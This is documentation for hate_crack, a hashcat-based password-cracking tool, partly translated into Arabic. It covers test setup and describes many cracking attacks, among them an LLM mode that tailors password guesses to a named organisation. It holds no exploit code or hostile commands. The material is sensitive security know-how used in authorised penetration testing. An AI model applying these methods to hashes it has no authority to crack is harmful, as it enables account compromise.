HASHMOB_TEST_REAL=1— فحص الاتصال/قائمة CLI المباشر لـ HashmobHASHVIEW_TEST_REAL=1— فحص قائمة CLI المباشر لـ HashviewWEAKPASS_TEST_REAL=1— فحص قائمة CLI المباشر لـ WeakpassHATE_CRACK_REQUIRE_DEPS=1— يفشل إذا كان7zأوtransmission-daemonأوtransmission-remoteمفقودًا
اختبار الرفع المباشر لـ Hashview
يتم تخطي اختبار الرفع المباشر لـ Hashview افتراضيًا. لتشغيله، قم بتعيين
متغير البيئة وتوفير بيانات اعتماد صالحة في .env:```bash
HATE_CRACK_RUN_LIVE_TESTS=1 uv run pytest tests/test_upload_cracked_hashes.py -v
### اختبارات Hashview الحية مقابل حزمة Docker محلية
بدلاً من توجيه الاختبارات الحية إلى خادم Hashview بعيد، يمكنك أن تجعل
مجموعة الاختبارات تُشغّل حزمة [Hashview](https://github.com/hashview/hashview)
Docker محلية، وتهيئتها، وتشغّل الاختبارات الحية مقابلها، ثم تُزيلها. اضبط
`HASHVIEW_TEST_LOCAL=1` ووجّه `HASHVIEW_REPO` إلى نسخة Hashview محلية:```bash
HASHVIEW_TEST_LOCAL=1 HASHVIEW_REPO=~/projects/hashview \
HATE_CRACK_SKIP_INIT=1 uv run pytest tests/test_hashview_cli_subcommands_subprocess.py -v
يقوم هذا بتشغيل docker compose في مستودع Hashview، ويهيئ مفتاح API للمسؤول،
وعميلاً، وملف hash، وبيانات "المهمة الفعّالة" المكسورة، ثم يصدّر
متغيرات البيئة HASHVIEW_* التي تقرأها الاختبارات. متغيرات البيئة المفيدة:
HASHVIEW_TEST_LOCAL=1— تفعيل الحزمة المحلية (لا تأثير بخلاف ذلك)HASHVIEW_REPO=<path>— نسخة Hashview المحلية (الافتراضي~/projects/hashview)HASHVIEW_KEEP=1— إبقاء الحاويات قيد التشغيل بعد الجلسة (إعادة تشغيل أسرع)HASHVIEW_LOCAL_PORT=5000— منفذ المضيف الذي يُنشر عليه التطبيق
يحترم واجهة سطر أوامر hate_crack متغيرات البيئة HASHVIEW_URL / HASHVIEW_API_KEY
(متجاوزاً ملف .env الذي يوجد فيه هذان المفتاحان)، وهذا ما يسمح
للمجموعة بتوجيه واجهة سطر الأوامر إلى الحزمة المحلية دون تعديل إعداداتك المحفوظة.
اختبارات التثبيت الشاملة (محلياً + Docker)
تثبيت أداة uv محلياً + تنفيذ السكريبت (يستخدم HOME مؤقتاً):```bash HATE_CRACK_RUN_E2E=1 uv run pytest tests/test_e2e_local_install.py -v
تثبيت/تشغيل شامل من البداية إلى النهاية قائم على Docker (مُخزَّن مؤقتًا عبر `Dockerfile.test`):```bash
HATE_CRACK_RUN_DOCKER_TESTS=1 uv run pytest tests/test_docker_script_install.py -v
اختبار Docker E2E يقوم أيضًا بتنزيل مجموعة فرعية صغيرة من rockyou وتشغيل كسر hashcat أساسي للتحقق من تكامل الأدوات الخارجية.
اختبار Lima VM الشامل (macOS فقط):
المتطلبات الأساسية: يجب تثبيت Lima و rsync.```bash
brew install lima
يتم تجهيز جهاز الاختبار الافتراضي تلقائيًا مع جميع تبعيات Linux (hashcat، build-essential، curl، git، gzip، p7zip-full، transmission-daemon، ocl-icd-libopencl1، pocl-opencl-icd، uv).```bash
HATE_CRACK_RUN_LIMA_TESTS=1 uv run pytest tests/test_lima_vm_install.py -v
يتحقق هذا الاختبار من التثبيت والتنفيذ داخل جهاز افتراضي Linux خفيف الوزن على macOS.
بنية الاختبار
- tests/test_hashview.py: مجموعة اختبارات شاملة لفئة HashviewAPI مع استجابات API وهمية، وتشمل:
- عرض العملاء والتحقق من صحة البيانات
- اختبارات المصادقة والتفويض
- وظيفة رفع ملفات التجزئة
- سير عمل إنشاء المهام الكامل
تستخدم جميع الاختبارات استدعاءات API وهمية، لذا يمكن تشغيلها دون الاتصال بخادم Hashview.
(1) كسر سريع (2) كسر منهجية Pure_Hate الموسّعة (3) هجوم القوة الغاشمة (4) هجوم القناع الأعلى (5) هجوم البصمة (6) هجمات المُركِّب (7) الهجوم الهجين (8) كسر القوة الغاشمة لأقنعة Pathwell Top 100 (9) هجوم PRINCE (10) منهجية Bandrel (11) هجوم الحلقة المرتدة (12) هجوم LLM (13) هجوم OMEN (14) هجوم القناع المخصص (15) هجوم القوة الغاشمة Markov (16) هجوم N-gram (17) هجوم التباديل (18) هجوم القواعد العشوائية (19) هجوم عبارة المرور Combipow (20) هجوم PCFG (21) هجوم PRINCE-LING (22) هجوم Spoonman (23) هجوم Rosetta (24) القوة الغاشمة للأقنعة المؤسسية (25) هجوم القناع الذكي
(80) أدوات قوائم الكلمات (81) أدوات ملفات القواعد (82) الإشعارات (83) أدوات الأقنعة
(93) إعادة إنشاء .out من ملف POT (94) Hashview API (95) تحليل التجزئات باستخدام Pipal (96) تصدير المخرجات إلى تنسيق Excel (97) عرض التجزئات المكسورة (98) عرض README (99) خروج
اختر مهمة:```
Option 94 — Hashview API is only listed when HASHVIEW_API_KEY is set in .env.
The YOLO, Middle, and Thorough Combinator attacks were previously at keys 10-12. They now live in the Combinator Attacks submenu (option 6) along with Combinator3 and CombinatorX.
Quick Crack
Runs a dictionary attack against wordlists in your hcatOptimizedWordlists directory (falls back to hcatWordlists if not configured) and optionally applies rules. Multiple rules can be selected by comma-separated list, and chains can be created with the '+' symbol. Pressing Enter at the wordlist prompt uses the configured optimized wordlists directory as the default.
Selecting a directory — including that default — expands to the wordlists
directly inside it before hashcat runs. Subdirectories are not searched,
matching hashcat's own behaviour for a directory in the dictionary position, and
dot-files and .7z/.torrent/.out files are skipped, which hashcat would
otherwise try to read. The candidates are the same either way; the expansion is
what lets attack coverage track each wordlist separately, since a directory has
no content fingerprint to key on. If the expansion finds nothing — an empty
directory, or one holding only subdirectories or archives — the attack aborts
rather than launching hashcat with no wordlist, which would put it in stdin
mode and leave it reading the terminal.
أي قاعدة (قواعد) تريد تشغيلها؟
(1) best64.rule
(2) d3ad0ne.rule
(3) T0XlC.rule
(4) dive.rule
(99) YOLO...تشغيل جميع القواعد
أدخل قائمة قواعد مفصولة بفواصل تريد تشغيلها. لتشغيل القواعد بشكل متسلسل استخدم الرمز +.
على سبيل المثال 1+1 سيشغّل best64.rule مرتين متسلسلتين و 1,2 سيشغّل best64.rule ثم d3ad0ne.rule بالتتابع.
اختر بحكمة:```
#### Extensive Pure_Hate Methodology Crack
Runs several attack methods provided by Martin Bos (formerly known as pure_hate):
* Brute Force Attack (7 characters)
* Dictionary Attack
* All wordlists in `hcatWordlists` with `best64.rule`
* `rockyou.txt` with `d3ad0ne.rule`
* `rockyou.txt` with `T0XlC.rule`
* Top Mask Attack (Target Time = 4 Hours)
* Fingerprint Attack
* Smart Mask Attack
* Combinator Attack
* Hybrid Attack
* Extra - Just For Good Measure
- Runs a dictionary attack using `rockyou.txt` with chained `combinator.rule` and `InsidePro-PasswordsPro.rule` rules
#### Brute Force Attack
Brute forces all characters with the choice of a minimum and maximum password length.
#### Top Mask Attack
Uses StatsGen and MaskGen from PACK (https://thesprawl.org/projects/pack/) to perform a top mask attack using passwords already cracked for the current session.
Presents the user a choice of target cracking time to spend (default 4 hours).
#### Fingerprint Attack
https://hashcat.net/wiki/doku.php?id=fingerprint_attack
Runs a fingerprint attack using passwords already cracked for the current session. Expander substring length escalates automatically (7, 14, 21, ... up to the chosen ceiling), and an optional wordlist can be combined against the expanded fragments in addition to self-combination. Set `hcatFingerprintWordlist` in `config.json` to a default wordlist path so the prompt offers it instead of asking for a path every time; leave it as `""` to always ask (or skip).
#### Smart Mask Attack
Looks for literal "skeleton" patterns shared by 3+ already-cracked passwords for the current session -- e.g. a fixed stem like `CrawlingHorse` followed by a run of digits, or `ChangeMe2day` followed by digits and symbols drawn from a consistent charset. Every qualifying pattern runs against the full remaining hash list, so other accounts sharing a stem get swept up even though brute-forcing the stem itself was never tried.
Patterns with a fixed run at either end -- nearly all of them -- are grouped by mask and run as hybrid attacks (`-a 6` when the mask trails the stem, `-a 7` when it leads), with every pattern's literal stem a line in that group's wordlist. Dozens of patterns that vary the same way therefore become one hashcat pass over one wordlist rather than one mask line each. Whatever cannot be grouped that way -- variation at *both* ends, which leaves no fixed run to seed a wordlist with -- falls back to a single `-a 3` mask file, and has its charsets widened (up to `?a`) to compensate, as far as the guardrail below allows.
Prompts once, before the attack starts, for an optional per-pattern candidate-count guardrail (default 50,000,000,000; 0 disables it) that excludes any individual pattern whose keyspace is too large without blocking the rest.
#### Combinator Attack
https://hashcat.net/wiki/doku.php?id=combinator_attack
Runs a combinator attack using the "rockyou.txt" wordlist.
#### Hybrid Attack
https://hashcat.net/wiki/doku.php?id=hybrid_attack
* Runs sixteen hybrid passes per wordlist, cheapest first. Each mask length
from 1 to 4 is tried appended and then prepended, first over `?s?d` and then
over `?a`, and a single ctrl-C abandons the whole attack rather than only the
current pass.
- Hybrid Wordlist + Mask - ?s?d wordlists/rockyou.txt ?1
- Hybrid Mask + Wordlist - ?s?d ?1 wordlists/rockyou.txt
- ... the same for ?1?1, ?1?1?1 and ?1?1?1?1
- Hybrid Wordlist + Mask - wordlists/rockyou.txt ?a
- Hybrid Mask + Wordlist - ?a wordlists/rockyou.txt
- ... the same for ?a?a, ?a?a?a and ?a?a?a?a
`?a` is every printable character, so the second group is a superset of the
first plus letters and roughly 24x the work at the longest mask — over
rockyou.txt those passes alone are ~1.2e15 candidates, about ten hours for
NTLM on hardware doing 32 GH/s. That is why the cheap `?s?d` group runs first
and why the attack as a whole is time-bounded:
- `hcatHybridMaxRuntime` in `config.json`, in seconds, default `3600`, is the
time the **whole attack** may spend — not the time one pass may spend. All
sixteen passes share one deadline, and each is handed whatever is left of it
as hashcat's `--runtime`. Any pass the budget does not reach is reported
rather than skipped quietly. Set it to `0` for no limit, which runs every
pass to exhaustion.
Within each group the order is by mask length across every wordlist rather
than all lengths of one wordlist and then the next, so a budget that runs out
has still given every wordlist its cheap passes.
Each pass declares what it covers to the attack-coverage store, so a repeat
hybrid against the same hash file offers to skip the passes already run. A
pass that runs out of budget is not recorded, so it will be retried.
Wordlist entries may be glob patterns or directories; both are expanded
before hashcat runs, a directory into the wordlists directly inside it.
Subdirectories are not searched, matching hashcat's own behaviour, and
dot-files and `.7z`/`.torrent`/`.out` files are skipped — a Weakpass
download leaves archives in the wordlists directory and hashcat would
otherwise try to read them.
#### Pathwell Top 100 Mask Brute Force Crack
Runs a brute force attack using the top 100 masks from KoreLogic:
https://blog.korelogic.com/blog/2014/04/04/pathwell_topologies
#### PRINCE Attack
https://hashcat.net/events/p14-trondheim/prince-attack.pdf
Runs a PRINCE attack using wordlists/rockyou.txt
#### YOLO Combinator Attack
Runs a continuous combinator attack using random wordlists from the configured wordlists directory for the left and right sides.
#### Middle Combinator Attack
https://jeffh.net/2018/04/26/combinator_methods/
Runs a modified combinator attack adding a middle character mask:
wordlists/rockyou.txt + masks + worklists/rockyou.txt
Where the masks are some of the most commonly used separator characters:
2 4 <space> - _ , + . &
#### Thorough Combinator Attack
https://jeffh.net/2018/04/26/combinator_methods/
* Runs many rounds of different combinator attacks with the rockyou list.
- Standard Combinator attack: rockyou.txt + rockyou.txt
- Middle Combinator attack: rockyou.txt + ?n + rockyou.txt
- Middle Combinator attack: rockyou.txt + ?s + rockyou.txt
- End Combinator attack: rockyou.txt + rockyou.txt + ?n
- End Combinator attack: rockyou.txt + rockyou.txt + ?s
- Hybrid middle/end attack: rockyou.txt + ?n + rockyou.txt + ?n
- Hybrid middle/end attack: rockyou.txt + ?s + rockyou.txt + ?s
#### Bandrel Methodology
Prompts for comma-separated names and creates a pseudo hybrid attack by capitalizing the first letter and adding up to six additional characters at the end. Each word is limited to a total of five minutes.
- Built-in common words (seasons, months) included as a customizable `config.json` entry (`bandrel_common_basedwords`)
- The default five-minute time limit is customizable via `bandrelmaxruntime` in `config.json`
#### Loopback Attack
https://hashcat.net/wiki/doku.php?id=loopback_attack
Uses hashcat's loopback mode to feed cracked passwords from the current session back into the attack pipeline with rules applied. This generates new password candidates based on variations of already-cracked passwords, which is particularly effective for finding related passwords that follow similar patterns.
* Prompts for rule selection to apply to the loopback candidates
* Uses an empty wordlist with the --loopback flag to process previously cracked passwords
* Automatically downloads Hashmob rules if no rules are available locally
#### LLM Attack
Uses a local LLM — Ollama by default, or a vLLM / OpenAI-compatible server via `LLM_BACKEND` — to generate password candidates for a capture-the-flag scenario. Prompts for the fake company name, industry, location, and parent company / acquisition history, then sends these details to the configured LLM model to produce likely password candidates using industry terms and company name permutations. The generated candidates are fed into a hashcat wordlist+rules attack.
* Requires a running server at `OLLAMA_HOST` (default: `http://localhost:11434`, Ollama's port; override in `.env` or the environment) already serving the model — hate_crack does not auto-pull
* Candidate generation uses structured (JSON) output via Atomic Agents, so pick a model with good schema adherence (default: `qwen3:4b-instruct`)
* Configurable backend, model, context window, request timeout, and sample size via `.env` (see [LLM Configuration](#llm-configuration))
* Prompts for target company name, industry, location, and parent company / acquisition history. The industry, location, and parent company prompts are pre-filled with the local model's guesses about the named organization (editable, and clearly labelled as guesses rather than verified OSINT); disable with `ollamaAutoResearch: false`
* Alternatively derives basewords from a sample **wordlist**, or from the **cracked passwords** of the current session (`<hashfile>.out`) so the model mirrors the target organization's own password conventions and produces new candidates in that style (only offered once something has been cracked)
* A live spinner with an elapsed-seconds counter runs during generation, and requests are bounded by `ollamaTimeout` so a model stuck loading into VRAM reports a timeout instead of hanging
**Pattern rules mode** (option 4 in the LLM submenu) takes the same shape as the [Spoonman Attack](#spoonman-attack) — a baseword list run through a rule file, both derived from one corpus — but infers each side with the model instead of extracting it. Spoonman is exact and therefore bounded: its basewords all appear in the corpus and its rules only reproduce transformations the corpus already shows. This asks the model to generalize on both axes, so it can name the *word families* behind a sample (the company and its products, site names, local sports teams, seasons, mascots) and write decorations the corpus does not contain.
* Pattern source is either the current session's cracked passwords (offered first, and only once something has been cracked, since those reveal the target's real conventions) or a sample wordlist
* **You are not asked to pick a rule file.** The model writes one, from the same corpus statistics — a stock rule file encodes the internet's habits, and the point of spending a model round trip is to encode *this* organization's
* Basewords are normalized to lowercase letters only, discarding anything under 3 characters, so the generated rules supply case, digits, and punctuation exactly once
* Generated rules are validated before hashcat sees them, and anything using an op hashcat does not have, a position argument outside `0-9A-Z`, more than 31 functions, or a stray comment or non-ASCII character is discarded. hashcat drops an invalid rule *silently* when valid rules share the file, so an unscreened line would become missing coverage rather than an error. The op table was established by testing hashcat itself, not from its rule documentation, which lists ops hashcat will not actually run
* Local-model yield varies a lot run to run, so a thin answer is asked again once and the two rounds are merged — a handful of rules would waste the pass they are spent on
* If no rule survives validation the basewords still run, unmutated, rather than throwing away the expensive half of the run
* Output lands in `<hashfile>.llm_patterns/` as `basewords.txt` and `rules.rule` — per-run scratch, laid out like `.spoonman/` and removed on exit
#### OMEN Attack
Uses the Ordered Markov ENumerator (OMEN) to train a statistical password model from a wordlist and generate password candidates. This attack learns patterns from known passwords and generates new candidates based on those patterns.
* Requires OMEN binaries (createNG and enumNG) to be built from the omen submodule
* Interactive menu: use existing model, train new model, or cancel
* Training wordlist picker shows available wordlists from configured directory or accepts a custom path
* Validates all 5 required model files (createConfig, CP/IP/EP/LN.level) before running
* Captures and reports enumNG errors instead of failing silently
* Generates up to a specified number of password candidates (configurable via `omenMaxCandidates`)
* Pipes generated candidates directly into hashcat for cracking
* Model files and metadata are stored in `~/.hate_crack/omen/` for persistence across sessions
#### Combinator Attacks Submenu
Opens an interactive submenu with six combinator attack variants (formerly at menu keys 10-12). Consolidates related attacks for cleaner menu organization:
- Combinator Attack - combines two wordlists
- YOLO Combinator Attack - combines all permutations of multiple wordlists
- Middle Combinator Attack - combines wordlists with an extra word in the middle
- Thorough Combinator Attack - comprehensive combination of wordlists with rules
- Combinator3 Attack - combines exactly 3 wordlists using `combinator3.bin`, generating all `word1+word2+word3` combinations piped to hashcat
- CombinatorX Attack - combines 2-8 wordlists using `combinatorX.bin` with optional `--sepFill` separator character between word segments
#### Ad-hoc Mask Attack
Runs hashcat mask attack (mode 3) with a user-specified custom mask string. Allows fine-grained control over character-set brute forcing.
* Opens with a choice between typing a mask and selecting a mask file
* Prompts for a hashcat mask (e.g., `?u?l?l?l?d?d` for uppercase + lowercase + lowercase + lowercase + digit + digit)
* Supports custom character sets for specialized character combinations: `-1` through `-4` on any hashcat, plus `-5` through `-8` on hashcat 7 and newer. A mask using `?5`–`?8` against an older hashcat is flagged before the run rather than failing inside it; if the version cannot be read, the mask is passed through and hashcat decides
* Only prompts for the custom slots the mask actually references — `?1?3?d` asks about `-1` and `-3` and nothing else, and a mask with no custom tokens is never asked at all. Detection is token-aware, so the escaped `??1` is a literal `?1` and prompts for nothing. A slot left blank is still skipped, with a warning that hashcat will reject a mask whose charset is undefined
* Mask files (`.hcmask`) can be selected with tab completion, defaulting to the bundled `masks/` directory; hashcat runs every mask in the file in order. Because a mask file defines its own charsets inline, the `-1` through `-4` prompts are skipped when one is chosen
* Optionally runs the mask incrementally (`--increment`), trying shorter lengths before the full mask. Answering yes prompts for an increment minimum and maximum; either can be left blank, and leaving both blank increments over the mask's full keyspace with hashcat choosing the bounds. Offered for typed masks and mask files alike
* Useful for targeted brute forcing when you know password structure patterns
#### Markov Brute Force Attack
Generates password candidates using Markov chain statistical models. Similar to OMEN but simpler and faster.
* Checks for existing `.hcstat2` Markov table from previous sessions (with option to reuse, regenerate, or cancel)
* Generates table from training source if needed:
- Can use cracked passwords from current session (`.out` file) as training data
- Or select any wordlist from configured directory or custom path
* Interactive menu: choose minimum and maximum password length
* Uses `--increment` flag to test lengths in sequence
* Markov table persists with hash file (filename.out.hcstat2) for fast subsequent runs
* Faster than OMEN for general-purpose brute forcing
#### N-gram Attack
Generates n-gram candidates from a corpus file using `ngramX.bin` from hashcat-utils and pipes them into hashcat.
* Prompts for a corpus file with tab completion, defaulting to the configured wordlist directory
* Prompts for an n-gram group size (default 3)
* Gzip-compressed corpus files are auto-detected and decompressed on the fly
* Useful when you have target-relevant prose (scraped site copy, leaked documents, internal wiki exports) rather than a password list
#### Permutation Attack
Generates all character permutations of each word in a targeted wordlist and pipes them to hashcat via `permute.bin` from hashcat-utils.
* Prompts for a single wordlist file (not a directory)
* Effective against short targeted wordlists where the character set is known but the order is not (company abbreviations, name fragments, known tokens)
* WARNING: Scales as N! per word - an 8-character word produces 40,320 permutations. Only practical for words up to ~8 characters.
* Uses `permute.bin < wordlist | hashcat` pipeline pattern
#### Random Rules Attack
Generates a set of random hashcat mutation rules using `generate-rules.bin`, writes them to a temporary file, then runs hashcat against a chosen wordlist with those rules.
* Prompts for rule count (default 65536)
* Prompts for wordlist path with tab-completion and numbered selection
* Temporary rules file is cleaned up after the run regardless of outcome
* Useful when known rule sets are exhausted - explores random rule-space for additional cracks
#### Combipow Passphrase Attack
Generates all unique non-empty subset combinations from a short wordlist using `combipow.bin` and pipes them into hashcat. Designed for passphrase cracking when you know the pool of words a password was built from.
* Prompts for a wordlist file (max 63 lines - combipow generates up to 2^n-1 combinations)
* Optional space separator (`-s` flag) to insert spaces between words in each combination
* Warns if the wordlist exceeds 20 lines (output volume may be large)
* Aborts with a clear message if the wordlist exceeds 63 lines (hard limit)
* Candidates are piped directly to hashcat stdin
#### PCFG Attack
Uses [pcfg_cracker](https://github.com/lakiw/pcfg_cracker) to generate candidates from a Probabilistic Context-Free Grammar, piping `pcfg_guesser.py` output directly into hashcat's stdin mode. A PCFG models password *structure* (baseword + digits + symbol, capitalization habits, keyboard walks) with learned probabilities, so candidates come out roughly in descending likelihood order.
* Requires the `pcfg_cracker` submodule. Presence is checked at startup and reported non-fatally: if it is missing, the PCFG attacks are simply unavailable. Run `make` to fetch it.
* Uses the trained grammar named by `pcfgRuleset` in `config.json` (default `DEFAULT`), read from `pcfg_cracker/Rules/<name>/`
* Candidate count is capped by `pcfgMaxCandidates` (default 50,000,000)
* hate_crack does not wrap grammar training. To build a grammar from a target-specific password set, run pcfg_cracker's own `trainer.py` and point `pcfgRuleset` at the resulting ruleset name
#### PRINCE-LING Attack
Uses pcfg_cracker's `prince_ling.py` to derive an optimized PRINCE base wordlist from a trained grammar, then hands it to the existing PRINCE attack. PRINCE-LING picks base words the grammar says are actually productive, so the PRINCE combination space is far less wasteful than pointing PRINCE at a generic wordlist.
* Requires the `pcfg_cracker` submodule and a trained ruleset directory, same as the PCFG attack
* The generated wordlist is cached at `<hcatOptimizedWordlists>/pcfg_prince_ling_<ruleset>.txt` and reused across sessions
* Regenerates only when the ruleset directory is newer than the cached wordlist, so retraining a grammar invalidates the cache automatically
* Generation is written to a temporary file and atomically moved into place; a failed or interrupted run cleans up its partial file and leaves any existing cache intact
* Base wordlist size is capped by `pcfgPrinceLingMaxCandidates` (default 10,000,000)
#### Spoonman Attack
Derives a baseword list and a hashcat rule file from a corpus of known plaintext passwords — a previous engagement's cracked output, a leak dump, or any password list — such that the baseword x rule cross product reconstructs the corpus exactly (see the memory bound below for the one case where it does not). Contributed as issue #169 by @Spoonman1091.
Each password is split into its letters-only lowercased core (the baseword) plus a rule that rebuilds the original from it, using `l`/`u`/`c` for casing, `T{p}` toggles, `${x}`/`^{x}` for trailing and leading characters, and `i{p}{x}` for interior ones.
* When the current session already has cracked plaintexts (`<hash file>.out` exists and is non-empty), a picker offers those as the corpus ahead of a free-form path — the target's own recovered passwords derive rules describing that target's actual conventions, which is exactly what you want to fire back at the remaining uncracked hashes. Deriving from `.out` and then cracking the same hash file appends new plaintexts to that same file, growing the corpus for the next run; that is the intended feedback loop, not corruption. Sessions with no cracked output yet see no picker at all — just today's path prompt
* Prompts for the corpus, then for how much of the rule file to run: top 50% coverage (listed first and recommended), top 75%, top 95%, top 99%, or the full set
* Rules are sorted by how many passwords each one rebuilds, so a truncated file keeps the most productive rules. Coverage is extremely long-tailed: on a 98.2M-password sample, 50% coverage needed 4,120 rules while 95% needed 16,119,661 and 100% needed 21,029,696 — the last few percent typically costs orders of magnitude more rules than the first half, which is why the smallest tier is listed first and is usually the right choice
* Output is written beside the hash file in `<hash file>.spoonman/`, alongside the other ephemeral wordlists: `basewords.txt`, `rules.full.rule`, the capped rule files, and `coverage.txt` with per-milestone rule counts. Derivation is skipped on later runs of the same hash file unless the corpus has been modified since, and the directory is removed on exit by the temp-file cleanup
* Derivation is bounded in memory. Both counters would otherwise grow for the whole read with nothing written until the end, so a corpus large enough to exhaust RAM lost the entire pass to an OOM kill and produced no output; a measured run against a 31 GB corpus reached 14.1 GB resident at 11% of the file and was still accelerating. Each counter is now capped at 20 million distinct keys (about 1.6 GB apiece), and the lowest-frequency keys are discarded once it is exceeded. If that happens, the run says so on the console and in `coverage.txt`, the output reconstructs the retained keys rather than 100% of the corpus, and the coverage percentages are relative to those. Corpora below the cap are unaffected
* Passwords that cannot be expressed as a rule are written verbatim as their own baseword with a `:` no-op, so coverage stays complete. This covers two hashcat limits: rule positions cannot address past index 35, and hashcat rejects any rule with more than 31 functions — silently, when valid rules share the file
* A password carrying a literal CR or LF (which arrives hex-wrapped, as `$HEX[...0a]`) cannot go in a baseword at all, because a wordlist line has no escape syntax for one. The break is lifted out into an insert op instead, spelled `\x0a`/`\x0d` in the rule, which hashcat decodes to the byte. When the break sits past addressable index 35 the rule reverses the word first, inserts from the other end, and reverses back. One frame has to hold every break in the password, so what is still skipped is a password with one break outside the first 36 characters *and* another outside the last 36, or one needing more inserts than the 31-function cap leaves room for. Those are counted as `unwritable basewords` in `coverage.txt` and reported, never dropped silently
* The derivation self-checks every password by reconstructing it in-process, and reports any failures rather than reporting success
* Corpus lines may carry a hash in front of the password, as cracked output does. A leading field is dropped only when it has the shape of a hash (a hex digest at a known length, or a crypt-style `$id$` string), so `hash:salt:plain` is handled while a plaintext or wordlist entry containing a colon survives intact. `$HEX[...]` plaintexts are decoded. If most lines look like an uncracked dump rather than cracked output, `coverage.txt` records the count and the attack warns — the derived basewords and rules would otherwise be meaningless without any error being raised
#### Rosetta Attack
Mines hashcat `--debug-mode 5` logs for the basewords and rules that already cracked something, then runs their full cross product. Powered by [HashcatRosetta](https://github.com/bandrel/HashcatRosetta), the same library behind [Analyze Hashcat Rules](#analyze-hashcat-rules-rule-file-tools-option-5).
No setup is needed to feed it: `_add_debug_mode_for_rules` appends `--debug-mode 5 --debug-file` to every rule-based hashcat invocation hate_crack makes, so the logs accumulate in `hcatDebugLogPath` (`~/.hate_crack/hashcat_debug` by default, one file per session) as a side effect of normal use. A mode 5 log records only candidates that cracked a hash, in the form `baseword:rule:candidate:wordlist`, which is what makes both halves known-productive against this target population; the trailing wordlist field also shows which list is earning its keep on a multi-wordlist run. HashcatRosetta parses mode 4 and mode 5 alike, so logs written before the switch are still read.
The value is in the cross product rather than the recorded pairs. A pair present in a log has already cracked its hash and will not crack another, but a rule that worked on one baseword has usually never been tried against the others — so N basewords and M rules yield close to N x M untried candidates.
The menu first asks how to rank rules — choices 1-3 below, plus a fourth, unrelated mode:
* Rules can be ranked by application frequency, by how many distinct basewords each one worked on, or by how many unique candidates each one generated. Frequency is the default; baseword spread is the better choice when the goal is a rule set that generalizes past the specific words it was learned from
* Only after one of those three is picked does hate_crack list the logs found in `hcatDebugLogPath` newest-first with their sizes; pick one, pick all of them (up to 20), or type a path to a log from elsewhere
* Prompts for how many top rules to keep and how many top basewords. Both default to all — a blank answer keeps every winning rule the logs contain, and zero means the same thing. Enter a number to cap either. The keyspace is the product of the two and is printed before hashcat starts
* Output is written beside the hash file in `<hash file>.rosetta/` as `basewords.txt` and `rules.rule`, alongside the other ephemeral wordlists, and the directory is removed on exit by the temp-file cleanup
* Reading stops at 1,000,000 debug lines, since the analyzer needs the whole batch in memory at once. Truncation is reported on the console rather than assumed harmless — logs from a long run routinely exceed this, in which case the newest log is the one worth selecting
* **LLM Mask Attack** (4) - a different mode entirely, and the only one that needs no debug logs. Prompts for a natural-language description of the passwords you expect (length, character patterns, symbols, etc.), sends it to the locally configured Ollama model, writes the returned masks to `<hash file>.hcmask`, and runs a `-a 3` hashcat mask attack against them
#### Corporate Masks Brute Force
Statistical masks (8-14 characters) derived from analysis of 3.2M NTLM hashes cracked on real engagements. Powered by [Corporate_Masks](https://github.com/golem445/Corporate_Masks), these masks encode realistic password patterns from successful penetration tests.
* Prompts for minimum and maximum mask length (default 8-10)
* Longer lengths cost exponentially more keyspace—start with 8-10 for speed, or 8-12 for thoroughness
* Each mask file is run as a separate hashcat invocation in ascending length order
* Gracefully handles missing mask files (skips them) and absent submodule (prints warning and returns)
* Supports optimized kernels (`-O` flag) for faster cracking
* Ctrl-C during one length aborts remaining lengths
#### Wordlist Tools (option 80)
A submenu of wordlist preprocessing utilities using hashcat-utils binaries. All tools read from and write to files on disk. All file and directory path prompts support tab completion.
| Key | Tool | Description |
|-----|------|-------------|
| 1 | Filter by Length | Keep only words between a min and max length (`len.bin`) |
| 2 | Require Char Classes | Keep words that include all char classes in mask (`req-include.bin`). Mask: 1=lower, 2=upper, 4=digit, 8=symbol (additive) |
| 3 | Exclude Char Classes | Remove words containing any char class in mask (`req-exclude.bin`). Same mask encoding |
| 4 | Extract Substring | Cut bytes from each word at a given offset and optional length (`cutb.bin`) |
| 5 | Split by Length | Create per-length files in an output directory (`splitlen.bin`) |
| 6 | Subtract Wordlist | Remove lines from a wordlist that appear in one or more remove files. Mode 1 uses `rli2.bin` (single file); mode 2 uses `rli.bin` (multiple files) |
| 7 | Shard Wordlist | Split a wordlist into N equal, interleaved parts in one run, written as `base.001`…`base.00N` for distributed cracking (`gate.bin`) |
| 8 | Optimize Wordlists | Dedupe and split the selected wordlists into per-length files under an output directory |
| 9 | Download from Hashmob.net | Browse and download wordlists from Hashmob.net into the configured wordlist directory |
| 10 | Download from Weakpass | Browse and download Weakpass wordlist torrents, with automatic extraction |
| 11 | Hashmob Downloads | Access a submenu for downloading Hashmob archives (yearly full-found corpora) and combined-left lists (per-mode uncracked hashes) |
All binaries are in `hate_crack/hashcat-utils/bin/`.
#### Rule File Tools (option 81)
Preprocesses hashcat rule files using `cleanup-rules.bin` and `rules_optimize.bin` from hashcat-utils, and downloads rule files from Hashmob.net.
* **Clean** (1) - removes invalid syntax and duplicate rules using `cleanup-rules.bin`. Useful after combining rule files or downloading rules from external sources.
* **Optimize** (2) - consolidates redundant operations using `rules_optimize.bin`. Reduces rule file size and improves cracking speed.
* **Clean and optimize** (3) - runs both operations in sequence via a temporary file, then writes the final result.
* **Download rules from Hashmob.net** (4) - fetches rule files into the configured `rulesDirectory`.
* **Analyze Hashcat rules** (5) - opcode frequency analysis of a rule file, powered by HashcatRosetta.
The three preprocessing operations read from an input file and write to a separate output file (original is never modified).
#### Download Rules from Hashmob.net (Rule File Tools option 4)
Downloads the latest rule files from Hashmob.net's rule repository. These rules are curated and optimized for password cracking and can be used with the Quick Crack and Loopback Attack modes.
* Downloads rule sets in parallel using a thread pool (up to 4 concurrent downloads)
* Skips rules already downloaded locally
* Reports download summary with success/failure counts
* Stores rules in the configured rules directory
#### Analyze Hashcat Rules (Rule File Tools option 5)
Powered by HashcatRosetta (https://github.com/bandrel/HashcatRosetta), this feature analyzes hashcat rule files to provide detailed insights into rule composition and complexity.
* Prompts for a rule file path
* Displays frequency analysis of rule opcodes (operations)
* Helps understand what transformations a rule set performs
* Useful for rule debugging and optimization
#### Mask Tools (option 83)
Downloads mask files from Hashmob.net. This is a minimal submenu today — masks
have no local file-tooling counterpart to the rule/wordlist cleanup and
optimization utilities, only a download capability.
* **Download masks from Hashmob.net** (1) - fetches mask files into the hate_crack masks directory.
#### Download Masks from Hashmob.net (Mask Tools option 1)
Downloads mask files from Hashmob.net's mask repository into the hate_crack masks directory for use with mask-based attacks.
* Downloads mask sets in parallel using a thread pool (up to 4 concurrent downloads)
* Skips masks already downloaded locally
